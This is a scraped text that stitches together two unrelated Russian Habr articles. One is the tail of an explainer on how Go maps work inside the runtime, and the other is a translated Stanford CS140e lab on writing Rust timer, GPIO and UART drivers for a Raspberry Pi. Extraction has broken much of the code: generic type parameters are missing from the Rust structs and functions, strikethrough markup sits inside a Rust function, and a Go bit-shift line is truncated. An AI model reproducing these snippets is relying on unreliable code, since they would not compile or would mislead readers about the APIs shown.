for _, word := range []string{"hello", "world", "from", "the",
"best", "language", "in", "the", "world"} {
m[word]++
}
for k, v := range m {
println(k, v)
}
}
```
Вы ~~гофера~~ подвох видите? — А он есть!
При попытке запуска такой программы получим панику и сообщение «assignment to entry in nil map». А все потому что мапа — ссылочный тип и мало объявить переменную, надо ее проинициализировать:
```
m := make(map[string]int)
```
Чуть пониже будет понятно почему это работает именно так. В начале было представлено аж 4 способа создания мапы, два из них мы рассмотрели — это объявление как переменную и создание через make. Еще можно создать с помощью "[Composite literals](https://golang.org/ref/spec#Composite_literals)" конструкции
```
map[key_type]value_type{}
```
и при желании даже сразу проинициализировать значениями, этот способ тоже валидный. Что касается создания с помощью new — на мой взгляд, оно не имеет смысла, потому что эта функция выделяет память под переменную и возвращает указатель на нее, заполненную zero value типа, что в случае с map будет nil (мы получим тот же результат, что в var, точнее указатель на него).
#### Как передается map в функцию?
Допустим у нас есть функция, которая пытается поменять число, которое ей передали. Посмотрим, что будет до и после вызова:
```
package main
func foo(n int) {
n = 10
}
func main() {
n := 15
println("n before foo =", n)
foo(n)
println("n after foo =", n)
}
```
Пример, думаю, достаточно очевидный, но все-таки включу вывод:
```
n before foo = 15
n after foo = 15
```
Как вы наверное догадались, в функцию n пришло по значению, а не по ссылке, поэтому исходная переменная не поменялась.
Проделаем похожий трюк с мапой:
```
package main
func foo(m map[int]int) {
m[10] = 10
}
func main() {
m := make(map[int]int)
m[10] = 15
println("m[10] before foo =", m[10])
foo(m)
println("m[10] after foo =", m[10])
}
```
И о чудо:
```
m[10] before foo = 15
m[10] after foo = 10
```
Значение поменялось. «Что же, мапа передается по ссылке?», — спросите вы. **Нет.** В Go не бывает ссылок. Невозможно создать 2 переменные с 1 адресом, как в С++ например. Но зато можно создать 2 переменные, указывающие на один адрес (но это уже указатели, и они в Go есть).
Пусть у нас есть функция fn, которая инициализирует мапу m. В основной функции мы просто объявляем переменную, отправляем на инициализацию и смотрим что получилось после.
```
package main
import "fmt"
func fn(m map[int]int) {
m = make(map[int]int)
fmt.Println("m == nil in fn?:", m == nil)
}
func main() {
var m map[int]int
fn(m)
fmt.Println("m == nil in main?:", m == nil)
}
```
Вывод:
`m == nil in fn?: false
m == nil in main?: true`
Итак, переменная m передалась **по значению**, поэтому, как в случае с передачей в функцию обычного int, не поменялась (поменялась локальная копия значения в fn). Тогда почему же меняется значение, лежащее в самой m? Для ответа на этот вопрос рассмотрим код из рантайма языка:
```
// A header for a Go map.
type hmap struct {
// Note: the format of the hmap is also encoded in cmd/compile/internal/gc/reflect.go.
// Make sure this stays in sync with the compiler's definition.
count int // # live cells == size of map. Must be first (used by len() builtin)
flags uint8
B uint8 // log_2 of # of buckets (can hold up to loadFactor * 2^B items)
noverflow uint16 // approximate number of overflow buckets; see incrnoverflow for details
hash0 uint32 // hash seed
buckets unsafe.Pointer // array of 2^B Buckets. may be nil if count==0.
oldbuckets unsafe.Pointer // previous bucket array of half the size, non-nil only when growing
nevacuate uintptr // progress counter for evacuation (buckets less than this have been evacuated)
extra *mapextra // optional fields
}
```
Мапа в Go — это просто указатель на структуру hmap. Это и является ответом на вопрос, почему при том, что мапа передается в функцию по значению, сами значения, лежащие в ней меняются — все дело в указателе. Так же структура hmap содержит в себе следующее: количество элементов, количество «ведер» (представлено в виде логарифма для ускорения вычислений), seed для рандомизации хэшей (чтобы было сложнее заddosить — попытаться подобрать ключи так, что будут сплошные коллизии), всякие служебные поля и главное указатель на buckets, где хранятся значения. Давайте посмотрим на рисунок:
На картинке схематичное изображение структуры в памяти — есть хэдер hmap, указатель на который и есть map в Go (именно он создается при объявлении с помощью var, но не инициализируется, из-за чего падает программа при попытке вставки). Поле buckets — хранилище пар ключ-значение, таких «ведер» несколько, в каждом лежит 8 пар. Сначала в «ведре» лежат слоты для дополнительных битов хэшей (e0..e7 названо e — потому что *extra* hash bits). Далее лежат ключи и значения как сначала список всех ключей, потом список всех значений.
По хэш функции определяется в какое «ведро» мы кладем значение, внутри каждого «ведра» может лежать до 8 коллизий, в конце каждого «ведра» есть указатель на дополнительное, если вдруг предыдущее переполнилось.
#### Как растет map?
В исходном коде можно найти строчку:
```
// Maximum average load of a bucket that triggers growth is 6.5.
```
то есть, если в каждом «ведре» в среднем более 6,5 элементов, происходит увеличение массива buckets. При этом выделяется массив в 2 раза больше, а старые данные копируются в него маленькими порциями каждые вставку или удаление, чтобы не создавать очень крупные задержки. Поэтому все операции будут чуть медленнее в процессе эвакуации данных (при поиске тоже, нам же приходится искать в двух местах). После успешной эвакуации начинают использоваться новые данные.
#### Взятие адреса элемента map.
Еще один достаточно интересный момент — мне в самом начале использования языка хотелось сделать вот так:
```
package main
import (
"fmt"
)
func main() {
m := make(map[int]int)
m[1] = 10
a := &m[1]
fmt.Println(m[1], *a)
}
```
Но Go говорит: «cannot take the address of m[1]». Объяснение почему же нельзя взять адрес значения кроется процедуре эвакуации данных. Представьте, что мы взяли адрес значения, а потом мапа выросла, выделилась новая память, данные эвакуировались, старые удалились, указатель стал неправильным, поэтому такие операции запрещены.
#### Как реализована map без genericов?
Ни пустой интерфейс, ни кодогенерация тут ни при чем, все дело в замене во время компиляции. Рассмотрим во что превращаются знакомые нам функции из Go:
```
v := m["k"] → func mapaccess1(t *maptype, h *hmap, key unsafe.Pointer) unsafe.Pointer
v, ok := m["k"] → func mapaccess2(t *maptype, h *hmap, key unsafe.Pointer) (unsafe.Pointer, bool)
m["k"] = 9001 → func mapassign(t *maptype, h *hmap, key unsafe.Pointer) unsafe.Pointer
delete(m, "k") → func mapdelete(t *maptype, h *hmap, key unsafe.Pointer)
```
Мы видим, что для доступов есть функции mapaccess, для записи и удаления mapassign и mapdelete соответственно. Все операции используют unsafe.Pointer, которому все равно, на какой тип он указывает, а информация о каждом значении описывается **дескриптором типа**.
```
type mapType struct {
key *_type
elem *_type ...}
type _type struct {
size uintptr
alg *typeAlg ...}
type typeAlg struct {
hash func(unsafe.Pointer, uintptr) uintptr
equal func(unsafe.Pointer, unsafe.Pointer) bool...}
```
В mapType хранятся дескрипторы (\_type) ключа и значения. Для дескриптора типа определены операции (typeAlg) сравнения, взятия хэша, размера и так далее, поэтому мы всегда знаем как произвести их.
Немного поподробнее о том как это работает. Когда мы пишем v = m[k] (пытаемся получить значение v по ключу k), компилятор генерирует примерно следующее:
```
kPointer := unsafe.Pointer(&k)
vPointer := mapaccess1(typeOf(m), m, kPointer)
v = *(*typeOfvalue)vPointer
```
То есть берем указатель на ключ, структуру mapType, из которой узнаем какие дескрипторы у ключа и значения, сам указатель на hmap (то есть мапу) и передаем это все в mapaccess1, которая вернет указатель на значение. Указатель мы приводим к нужному типу, разыменовываем и получаем значение.
Теперь посмотрим на код поиска из рантайма (который немного адаптирован для чтения):
```
func lookup(t *mapType, m *mapHeader, key unsafe.Pointer) unsafe.Pointer {
```
Функция ищет ключ в мапе и возвращает указатель на соответствующее значение, аргументы нам уже знакомы — это mapType, который хранит дескрипторы типов ключа и значения, сама map (mapHeader) и указатель на память, хранящую ключ. Возвращаем указатель на память, хранящую значение.
```
if m == nil || m.count == 0 {
return zero
}
```
Далее мы проверяем не нулевой ли указатель на хэдер мапы, не лежит ли там 0 элементов и возвращаем нулевое значение, если это так.
```
hash := t.key.hash(key, m.seed) // hash := hashfn(key)
bucket := hash & (1<> 56) // extra := top 8 bits of hash
b := (\*bucket)(add(m.buckets, bucket\*t.bucketsize)) // b := &m.buckets[bucket]
```
Вычисляем хэш ключа (знаем как вычислить для данного ключа из дескриптора типа). Затем пытаемся понять в какое «ведро» надо пойти и посмотреть (остаток от деления на количество «ведер», просто немного ускорены вычисления). Затем вычисляем дополнительный хэш (берем 8 старших бит хэша) и определяем положение «ведра» в памяти (адресная арифметика).
```
for {
for i := 0; i < 8; i++ {
if b.extra[i] != extra { // check 8 extra hash bits
continue
}
k := add(b, dataOffset+i*t.key.size) // pointer to ki in bucket
if t.key.equal(key, k) {
// return pointer to vi
return add(b, dataOffset+8*t.key.size+i*t.value.size)
}
}
b = b.overflow
if b == nil {
return zero
}
}
```
Поиск, если разобраться, устроен не так уж и сложно: проходимся по цепочкам «ведер», переходя в следующее, если в этом не нашли. Поиск в «ведре» начинается с быстрого сравнения дополнительного хэша (вот для чего эти e0...e7 в начале каждого — это «мини» хэш пары для быстрого сравнения). Если не совпало, идем дальше, если совпало, то проверяем тщательнее — определяем где лежит в памяти ключ, подозреваемый как искомый, сравниваем равен ли он тому, что запросили. Если равен, определяем положение значения в памяти и возвращаем. Как видите, ничего сверхъестественного.
#### Заключение
Используйте мапы, но знайте и понимайте как они работают! Можно избежать граблей, поняв некоторые тонкости — почему нельзя взять адрес значения, почему все падает при объявлении без инициализации, почему лучше выделить память заранее, если известно количество элементов (избежим эвакуаций) и многое другое.
---
Список литературы:
[«Go maps in action», Andrew Gerrand](https://blog.golang.org/go-maps-in-action)
[«How the go runtime implements maps efficiently», Dave Cheney](https://dave.cheney.net/2018/05/29/how-the-go-runtime-implements-maps-efficiently-without-generics#easy-footnote-1-3224)
[«Understanding type in go», William Kennedy](https://www.ardanlabs.com/blog/2013/07/understanding-type-in-go.html)
[Inside map implementation, Keith Randall](https://www.youtube.com/watch?v=Tl7mi9QmLns&feature=youtu.be)
[map source code, Go Runtime](https://github.com/golang/go/blob/master/src/runtime/map.go)
[golang spec](https://golang.org/ref/spec)
[effective go](https://golang.org/doc/effective_go.html)
[картинки с гоферами](https://github.com/shalakhin/gophericons) | https://habr.com/ru/post/457728/ | null | ru | null |
# Операционные системы с нуля; уровень 1 (старшая половина)
 Настало время следующей части. Это вторая половина перевода [лабы №1](https://web.stanford.edu/class/cs140e/assignments/1-shell/). В этом выпуске мы будем писать драйверы периферии (таймер, GPIO, UART), реализуем протокол XMODEM и одну утилитку. Используя всё это мы напишем командную оболочку для нашего ядра и загрузчик, который позволит нам не тыкать microSD-карточку туда-сюда.
[Младшая половина](https://habrahabr.ru/post/351082/).
Начинать чтение стоит с [нулевой лабы](https://habrahabr.ru/post/349248/).
Фаза 3: *Не* раковина (*Not* a Seashell)
----------------------------------------
На этот раз мы напишем парочку драйверов для встроенной периферии. Нас интересует встроенный таймер, GPIO и UART. Их нам будет достаточно для написания встроенной командной строки, а чуть позже пригодится для создания загрузчика (который несколько упростит дальнейшую работу).
> **Что такое драйвер?**
>
>
>
> Термин *драйвер* или драйвер устройства — программное обеспечение, которое напрямую взаимодействует с неким аппаратным устройством, управляет им и т.д. Драйверы предоставляют интерфейс более высокого уровня для тех устройств, которыми они управляют. Операционные системы взаимодействую с драйверами устройств, чтоб поверх оных выстроить ещё более высокий уровень абстракции над ними (ради удобства конечно же!). Например ядро Linux предоставляет ALSA (Advanced Linux Sound Architecture) — API для аудио, который взаимодействует с драйверами, которые в свою очередь напрямую общаются со звуковыми картами.
### Субфаза A: Начало работы
В оставшейся части задания мы будем работать внутри репы `os`, которая будет использоваться не только в этой части, но и на протяжении оставшегося курса. Именно этот репозиторий в конце концов станет операционной системой.
Рекомендую следующую структуру каталогов для лаб и всего прочего, применительно к этому курсу:
```
cs140e
├── 0-blinky
│ ├── Makefile
│ ├── phase3
│ └── phase4
├── 1-shell
│ ├── ferris-wheel
│ ├── getting-started
│ ├── stack-vec
│ ├── ttywrite
│ ├── volatile
│ └── xmodem
└── os
├── Makefile
├── bootloader
├── kernel
├── pi
├── std
└── volatile
```
Удобно и аккуратно. `0-blinky` и `1-shell` относятся к предыдущей и текущей лабе, а `os` получить можно вот таким образом:
```
git clone https://web.stanford.edu/class/cs140e/os.git os
git checkout master
```
Убедитесь, что всё правильно расположено и запустите `make` внутри `os/kernel`. Если всё нормально, то команда успешно выполнится.
#### Структура проекта
Каталог `os` содержит в себе следующий наборчик подкаталогов:
* `pi` — библиотека, в которой содержатся драйверы и некоторое количество низкоуровневого кода для нашей ОС
* `volatile` — вторая версия одноимённой библиотеки из фазы 2
* `std` — минимальный огрызок стандартной библиотеки Rust
* `bootloader` — загрузчик, который мы будем дописывать в фазе 4
* `kernel` — основное ядро ОС
Весь код драйверов находится в библиотеке `pi`. `pi` использует библиотеку `volatile` и (опционально) `std`. `kernel` и `bootloader` используют `pi` для общения с устройствами. И помимо этого зависят от `std`. `volatile` не зависит ни от чего. Графически эти взаимоотношения будут выглядеть примерно так:
#### Прошивка
Нам требуется обновить прошивку малинки перед тем, как продолжить. Загрузить это всё можно командой `make fetch` из каталога `os`. Оно загрузит необходимые материалы в папочку `files/`. Скопируйте `firmware/bootcode.bin`, `firmware/config.txt` и `firmware/start.elf` в корень microSD-карточки. Можно скопировать `act-led-blink.bin` из прошлой части, переименовать в `kernel8.img`. Так можно проверить, что всё работает. Там должен мигать зелёный светодиодик на самой малинке.
#### Обновлённый `volatile`
Эта библиотека из папки `os` немного отличается от того, кода, который изучался в фазе 2. Изменения чуточку облегчают использование этой либы в контексте написания драйверов устройств. Основные отличия такие:
1. `UniqueVolatile` заменён на `Unique`
2. Добавлен тип `Reserved`, который не умеет решительно ничего и используется в качестве заглушки
Есть ещё одно, более существенное отличие. Все типы из библиотеки обёртывают `T`, а не `*mut T`. Это позволяет нам использовать всякие сырые адреса не обёртывая, а кастуя их примерно так: `0x1000 as *mut Volatile`. Помимо этого мы можем указать структуру, содержащую поля, обёрнутые в `Volatile`. Что-то вроде такого:
```
#[repr(C)]
struct Registers {
REG_A: Volatile,
REG\_B: Volatile
}
// Тут сказано примерно следующее. Структуру `Registers` по адресу `0x4000` найти можно.
// В данном случае после `u32` можно найти ещё и `u8` чуть дальше после этого адреса
// (см. структуру).
let x: \*mut Registers = 0x4000 as \*mut Registers;
// Для работы с сырыми указателями нужен `unsafe`.
// Ибо в Rust разыменование таких указателей закономерно не является безопастным
unsafe {
// Кроме того Rust не разыменовывает такие указатели автоматически
(\*x).REG\_A.write(434);
let val: u8 = (\*x).REG\_B.read();
}
```
> **Что такое `#[repr(C)]`?**
>
>
>
> Приписка `#[repr(C)]` заставляет Rust формировать структуры в памяти так же, как в Сишечке. Без этого Rust имеет право оптимизировать порядок полей и отступы в памяти между оными. Когда мы работаем с сырыми указателями, то в большинстве случаев имеем ввиду вполне себе конкретную структуру в памяти. Соответственно `#[repr(C)]` позволяет нам утверждать, что Rust будет размещать структуру в памяти именно так, как мы предполагаем.
#### Ядро
Каталог `os/kernel` содержит заготовки для кода ядра нашей операционки. Вызов `make` внутри этого каталога соберёт наше ядрышко. Результат сборки при этом будет лежать в подкаталоге `build/`. Для того, чтоб запустить это дело потребуется скопировать `build/kernel.bin` в корень microSD-карточки под именем `kernel8.img`. На текущий момент ядро не делает ничего. К концу этой фазы ядро будет содержать текстовую интерактивную оболочку, с которой можно пообщаться.
Крейт `kernel` зависит от крейта `pi`. Можно увидеть `extern crate pi;` в `kernel/src/kmain.rs` и запись об этом в `Cargo.toml`. Т.е. мы можем невозбранно использовать все типы и конструкции, объявленные в либе `pi`.
#### Документация
При написании драйверов нам сильно пригодится [мануал по периферийным устройствам BCM2837](https://web.stanford.edu/class/cs140e/docs/BCM2837-ARM-Peripherals.pdf).
### Субфаза B: Системный таймер
В этой подфазе мы будем писать драйвер для встроенного таймера. Основные работы ведутся в файлах `os/pi/src/timer.rs` и `os/kernel/src/kmain.rs`. Таймер документирован на странице 172 (раздел 12) [мануала по периферийным устройствам BCM2837](https://web.stanford.edu/class/cs140e/docs/BCM2837-ARM-Peripherals.pdf).
Для начала посмотрите на тот код, который уже есть в `os/pi/src/timer.rs`. По крайней мере вот эти части:
```
const TIMER_REG_BASE: usize = IO_BASE + 0x3000;
#[repr(C)]
struct Registers {
CS: Volatile,
CLO: ReadVolatile,
CHI: ReadVolatile,
COMPARE: [Volatile; 4]
}
pub struct Timer {
registers: &'static mut Registers
}
impl Timer {
pub fn new() -> Timer {
Timer {
registers: unsafe { &mut \*(TIMER\_REG\_BASE as \*mut Registers) },
}
}
}
```
Тут есть одна строчка кода с `unsafe`, на которую следует обратить внимание в первую очередь. В этой строчке кастуется адрес `TIMER_REG_BASE` в `*mut Registers`, а затем незамедлительно превращается в `&'static mut Registers`. По сути мы сообщаем расту, что у нас должна быть статическая ссылка на структуру по адресу `TIMER_REG_BASE`.
Что там конкретно лежит по адресу `TIMER_REG_BASE`? На 172 странице можно [мануала](https://web.stanford.edu/class/cs140e/docs/BCM2837-ARM-Peripherals.pdf) можно обнаружить, что `0x3000` является смещением от начала периферии для таймера. Т.е. `TIMER_REG_BASE` — это адрес, с которого начинаются регистры этого самого таймера. После одной строчки с `unsafe` мы можем использовать поле `registers` для вполне себе безопасного доступа ко всему этому. Например мы можем читать регистр `CLO` при помощи `self.registers.CLO.read()` или записывать в
`CS` при помощи `self.registers.CS.write()`.
> **Почему мы не можем писать в регистры `CLO` и `CHI`?** [restricted-reads]
>
>
>
> В документации по BCM2837 сказано, что регистры `CLO` и `CHI` доступны только на чтение. Наш код обеспечивает это свойство. Каким образом? Что мешает нам писать в `CLO` и `CHI`?
---
> **Что именно не безопасно?**
>
>
>
> Если вкратце, то `unsafe` это маркер для компилятора Rust, говорящий, что вы берёте на себя управление безопасностью памяти. Компилятор не будет вас защищать от проблем с памятью в этих кусках кода. В `unsafe` частях кода Rust позволяет делать всё то, что можно делать в Няшном Си. Можно ~~грабить кораваны~~ достаточно свободно кастовать одни типы в другие, играться с сырыми указателями, создавать сроки жизни.
>
>
>
> Однако обратите внимание, что код в `unsafe` блоке может быть *очень опасен*. Вы должны убедиться, что то, что вы делаете в небезопасной секции, на самом деле безопасно. Это сложнее, чем кажется на первый взгляд. Особенно по той причине, что концепции безопасности в Rust более строгие, нежели в других языках. Надо стараться не использовать `unsafe` вообще. По мере возможности конечно. Для таких штук, как операционные системы, нам потребуется использовать `unsafe`, если мы хотим напрямую общаться с оборудованием. Но мы будем ограничивать использование этого на столько, на сколько это вообще возможно.
>
>
>
> Если хочется почитать моар про `unsafe` — стоит взглянуть на [главу 1 из Nomicon](https://doc.rust-lang.org/nightly/nomicon/meet-safe-and-unsafe.html). Там и далее по этой книжице можно узнать много чего из полезного для разнообразных сильных колдунств в Rust.
#### Реализация драйвера
Реализуйте `Timer::read()` из файла `os/pi/src/timer.rs`. Затем методы `current_time()`, `spin_sleep_us()` и `spin_sleep_ms()`, которые можно найти поблизости. Комментарии и имена этих функций вполне себе указывают на их ожидаемую функциональность. Для реализации `Timer::read()` потребуется читнуть документацию по BCM2837 в соответствующем разделе. По крайней мере вы должны понять, какие регистры надо будет прочитать для получения всего 64-битного значения таймера. Можно собирать крейт `pi` командой `cargo build`. Хотя быстрее будет просто проверить правильность написанного при помощи `cargo check`.
#### Тестирование драйвера
Не будет лишним убедиться, что функция `spin_sleep_ms()` реализована верно. Для этого следует написать соответствующий код в `kernel/src/kmain.rs`.
Скопируйте код мигания светодиодиком из фазы 4 нулевой лабы. Вместо функции сна, которая просто крутится в цикле, стоит использовать нашу функцию `spin_sleep_ms()` для создания пауз между миганиями. Перекомпилируйте ядро и загрузите его на карту памяти под именем `kernel8.img`. Запустите всё и убедитесь, что светодиод мигает с той частотой, с которой вы планировали. Попробуйте поставить другой размер задержки и убедитесь, что всё работает. Да, постоянно тыкать туда-сюда microsd-карточку достаточно утомительно. К концу этой части у нас будет загрузчик, который решит эту проблему.
Если ваша реализация драйвера для таймера работает, то можно перейти к следующей подфазе.
### Субфаза C: GPIO
В этой подфазе будем писать обобщённый, независимый от конкретного номера пина, драйвер GPIO. Основная работа ведётся в файлах `os/pi/src/gpio.rs` и `os/kernel/src/kmain.rs`. Документацию по GPIO можно найти на странице 89 (раздел 6) [мануала по периферии BCM2837](https://web.stanford.edu/class/cs140e/docs/BCM2837-ARM-Peripherals.pdf).
#### Конечные автоматы
Все аппаратные устройства по сути можно считать [конечными автоматами](https://ru.wikipedia.org/wiki/%D0%9A%D0%BE%D0%BD%D0%B5%D1%87%D0%BD%D1%8B%D0%B9_%D0%B0%D0%B2%D1%82%D0%BE%D0%BC%D0%B0%D1%82) ([eng](https://en.wikipedia.org/wiki/Finite-state_machine)). Они инициализируются с некоторым состоянием и переходят в другие состояния явно или не очень. При этом устройства предоставляют различные функциональные возможности в зависимости от текущего состояния. Другими словами в неких конкретных состояниях работоспособен только определённый набор переходов в другие состояния.
Большинство языков программирования делают невозможным точное следование семантике конечных автоматов. Но к Rust это разумеется не относится. Rust позволяет нам следовать этой семантике достаточно явно. Этим мы и воспользуемся для реализации более безопасного драйвера GPIO. Наш драйвер будет гарантировать, что каждый GPIO-пин будет всегда использоваться правильно. На этапе компиляции.
> \**Это выглядит как какое-то исследование...*
>
>
>
> Вы поймали меня. По сути это моя область исследования в данное время. — [Sergio](https://sergio.bz/)
Ниже можно увидеть диаграмму состояний для подмножества свойство конечного автомата GPIO (для одного пина):
Наша цель — реализовать это всё в Rust. Начнём с того, что собсна говорит нам эта диаграмма:
* GPIO начинает свою работу из состояния `START`
* Из состояния `START` мы можем перейти в следующие состояния:
1. `ALT`, у которого нет переходов в другие состояния
2. `OUTPUT` — с двумя доступными переходами в себя же: `SET` и `CLEAR`
3. `INPUT` — с одним переходом по имени `LEVEL`
> **Какие переходы вы использовали в лабе 0?** [blinky-states]
>
>
>
> Когда вы писали код для фазы 4 из лабы 0, вы по сути неявно реализовывали подмножество нашего конечного автомата. Какие переходы между состояниями при этом реализовывались?
Мы будем использовать систему типов Rust дла того, чтоб предоставить гарантии того, что пин умеет только `SET` и `CLEAR`, если он в состоянии `OUTPUT` и только `LEVEL`, если в состоянии `INPUT`. Взгляните на объявление структуры `GPIO` из файлика `pi/src/gpio.rs`:
```
pub struct Gpio {
pin: u8,
registers: &'static mut Registers,
\_state: PhantomData
}
```
Структура имеет один обобщённый аргумент по имени `State`. Его использует только `PhantomData` и более никто. Собственно ради такого [PhantomData](https://doc.rust-lang.org/nightly/std/marker/struct.PhantomData.html) и существует: для того, чтоб убедить Rust, что структура каким-то образом использует обобщённый аргумент. Мы собираемся использовать `State` как маркер того, в каком состоянии находится `Gpio`. При этом нам ещё нужно гарантировать, что конкретное значение для этого параметра нельзя будет создать.
Макрос `state!` генерирует такие типы, которые вроде бы и есть, но создать их нельзя. В данном случае он генерирует список состояний, в которых может находиться `Gpio`:
```
states! {
Uninitialized, Input, Output, Alt
}
// И каждый из них по сути будет чем-то вроде такого:
enum Input { }
```
Это *выглядит* странным. Зачем нам создавать перечисления без каких либо возможных значений? У них есть одно приятное свойсво. Их нельзя создать. Но их можно использовать как маркеры. Никто никогда не сможет передать нам значение типа `Input` ибо его нельзя создать. Они живут и сущесвуют только на уровне типов и нигде более.
Затем можно реализовать методы для каждого состояния с соответсвующим набором переходов:
```
impl Gpio {
/// Включаем пин
pub fn set(&mut self) { ... }
/// Выключаем пин
pub fn clear(&mut self) { ... }
}
impl Gpio {
/// Читаем текущее значение у пина
pub fn level(&mut self) -> bool { ... }
}
```
Это уже похоже на гарантию того, что `Gpio` можно теребить только строго определённым образом в зависимости от состояния. Неплохо, да? Но как нам этих состояний достичь? Для этого у нас есть метод `Gpio::transition()`:
```
impl Gpio {
fn transition~~(self) -> Gpio ~~{
Gpio {
pin: self.pin,
registers: self.registers,
\_state: PhantomData
}
}
}~~~~
```
Этот метод позволяет легко и свободно переводить `Gpio` из одного состояния в другое. Получает `Gpio` в состоянии `T` и отдаёт `Gpio` в состоянии `S`. Обратите внимание, что оно работает для любых `S` и `T`. Мы должны очень осторожно использовать этот метод. Если мы ошибёмся во всём этом, то наш драйвер можно будет считать написанным неправильно.
Для того, чтоб использовать `transition()` нам нужно указать тип `S` для `Gpio`. Мы предоставляем Rust'у достаточно информации, чтоб он мог вывести это всё самостоятельно. Например реализация метода `into_output`:
```
pub fn into_output(self) -> Gpio {
self.into\_alt(Function::Output).transition()
}
```
Этот метод требует, чтоб его возвращаемый тип был `Gpio`. Когда система типов Rust смотрит на вызов `transition()`, то ищет метод `Gpio::transition()`, который возвратит `Gpio`. Находит он метод, который возвращает `Gpio`, который существует для любого `S`. Соответственно вместо `S` можно спокойно подставить `Output`. В итоге он преобразует `Gpio` (от функции `into_alt`) в `Gpio`.
> **Что будет не так, если клиент сможет передавать произвольные состояния?** [fake-states ]
>
>
>
> Подумайте, что произойдёт, если мы позволим пользовательскому коду свободно выбирать начальное состояние для структуры `Gpio`. Что может пойти не так?
---
> **Почему это всё возможно только в Rust?**
>
>
>
> Обратите внимание на тот маленький факт, что `into_`-переходы используют семантику перемещения. Это означает, что как только `Gpio` переходит в другое состояние, то уже не может быть доступно в предыдущем состоянии. До тех пор, пока тип не реализует `Clone`, `Copy` и некоторые другие способы дублирования, обратный переход недоступен. Никакой другой язык так не умеет. Даже `C++`. Подобное колдунсво во время компеляции со всеми гарантиями есть только тут. (Гуру в плюсах или чём либо ещё могут попробовать оспорить это утверждение)
#### Реализация драйвера
Напишите весь необходимый код вместо `unimplemented!()` в файле `pi/src/gpio.rs`. Из комментариев и сигнатур всех этих методов можно понять ~~при помощи дедукции~~ их ожидаемую функциональность. Не лишним будет обратиться к документации (страница 89, раздел 6 из [мануала по BCM2837](https://web.stanford.edu/class/cs140e/docs/BCM2837-ARM-Peripherals.pdf)). Не забудьте о полезности `cargo check`.
> Подсказка: помните, что можно создавать произвольные лексические области видимости при помощи фигурных скобочек `{ ... }`.
#### Тестирование драйвера
Очевидно, что для тестирования драйвера нам нужно написать немного кода в файлике `kernel/src/kmain.rs`.
На этот раз вместо чтения/записи непосредственно в сами регистры мы будем использовать наш драйвер для того, чтоб мигать светодиодиком. Посредством включения/выключения GPIO-пина номер 16. При этом всём код будет выглядеть намного чище и элегантнее. Скомпиляйте ядро, загрузите его на карточку под именем `kernel8.img` и запустите малинку с этим всем. Светодиод должен мигать абсолютно так же, как и ранее.
Теперь можно подключить побольше светодиодов. Используем контакты GPIO под номерами 5, 6, 13, 19 и 26. Обратитесь к диаграмме с нумерацией пинов из нулевой лабы, чтоб определить их физическое расположение. Пусть ядро мигает множеством светодиодиков так, как вы пожелаете!
> **Какой паттерн мигания вы выберали?** [led-pattern]
>
>
>
> По какой схеме вы решили включать/выключать светодиоды? Выбрать можно множество вариантов на свой вкус. Но если с выбором туго — можно включать и выключать их по кругу. 
Как только ваш драйвер GPIO станет вполне себе рабочим — можно переходить к следующей подфазе.
### Субфаза D: UART
В этой подфазе мы напишем драйвер устройства mini UART, который встроен в проц нашей малинки. Большинство работы выполняется в файлах `os/pi/src/uart.rs` и `os/kernel/src/kmain.rs`. Mini UART документирован на страницах 8 и 10 (разделы 2.1 и 2.2) [манулала по BCM2837](https://web.stanford.edu/class/cs140e/docs/BCM2837-ARM-Peripherals.pdf).
#### UART: Universal Asynchronous RX/TX
[UART](https://en.wikipedia.org/wiki/Universal_asynchronous_receiver-transmitter) ([ru](https://ru.wikipedia.org/wiki/%D0%A3%D0%BD%D0%B8%D0%B2%D0%B5%D1%80%D1%81%D0%B0%D0%BB%D1%8C%D0%BD%D1%8B%D0%B9_%D0%B0%D1%81%D0%B8%D0%BD%D1%85%D1%80%D0%BE%D0%BD%D0%BD%D1%8B%D0%B9_%D0%BF%D1%80%D0%B8%D1%91%D0%BC%D0%BE%D0%BF%D0%B5%D1%80%D0%B5%D0%B4%D0%B0%D1%82%D1%87%D0%B8%D0%BA)) или Универсальный Синхронный ПриёмоПередатчик — это устройство и последовательный протокол для общения железок при помощи всего двух проводов. Это те самые два проводка (rx/tx), которые использовались в фазе 1 из нулевой лабы для того, чтоб подключить устройство UART на USB-модуле CP2102 к устройству UART на малинке. По UART можно отправлять любые данные: текст, двоичные файлы, картинки с котиками и на что там ещё фантазии хватит. В качестве примера прямо в следующей подфазе мы напишем интерактивную оболочку, которая будет читать с UART на малинке и писать в UART на CP2102. В фазе 4 мы будем передавать двоичную информацию примерно тем же самым способом.
У протокола UART есть несколько конфигурационных параметров. Как приёмник, так и передатчик должны быть настроены идентично для того, чтоб всё заработало. Вот такие эти параметры:
* **Data Size** — длинна одного кадра с данными (8 или 9 бит)
* **Parity Bit** — следует ли отправлять бит чётности (контрольный бит) после данных
* **Stop Bits** — сколько бит будем использовать для определения того, что данные переданы (1 или 2 бита)
* **Baud Rate** — скорость передачи в битах в секунду
Mini UART не поддерживает биты чётности и поддерживает только один стоповый бит. Таким образом нам требуется сконфигурировать только скорость передачи и длину кадра. Чуть подробнее про сам UART можно читнуть в документе под названием [Basics of UART Communication](https://web.stanford.edu/class/cs140e/notes/lec4/uart-basics.pdf) (нуждается в переводе?).
#### Реализация драйвера
На этом этапе у нас есть все необходимые инструменты для написания драйвера устройства без того, чтоб расписывать каждый шаг. Мои поздравления!
Задача состоит в том, чтоб реализовать всё необходимое в файлике `pi/src/uart.rs`. Потребуется дописать содержимое структуры `Registers`. При этом используйте вариант типа `Volatile` с *минимально необходимым* набором возможности для каждого регистра. Те регистры, которые доступны только для чтения должны использовать `ReadVolatile`. Если разрешена только записть, то `WriteVolatile`. Для зарезервированного пространсва есть `Reserved`. После этого всего допишите функцию `new()` и установите скорость 115200 (делитель 270) и длинну кадра данных в 8 бит. После всего замените все `unimplemented!()` на то, что там должно быть по смыслу. Ну и реализуйте трейты `fmt::Write`, `io::Read` и `io::Write` для типа `MiniUart`.
> Подсказка: вам потребуется писать в регистры `LCR`, `BAUD` и `CNTL` для функции `new`/
>
>
>
> Подсказка: используйте драйвер GPIO из прошлой подфазы.
#### Тестирование драйвера
Проверьте драйвер, написав код (в `kernel/src/kmain.rs`), который возвращает переданное обратно в неизменном виде. В псевдокоде это выглядит похожим на такое:
```
loop {
write_byte(read_byte())
}
```
Используйте `screen /dev/<имя_устройства> 115200` для связи по UART. `screen` отправит все нажатые кнопочки клавиатуры через TTY на малинку. Если всё правильно, то ещё и прочитает оттуда их же в неизменном виде. Т.е. вы увидите все набранные символы. Можно попробовать отправлять дополнительные парочку символов каждый раз при получении:
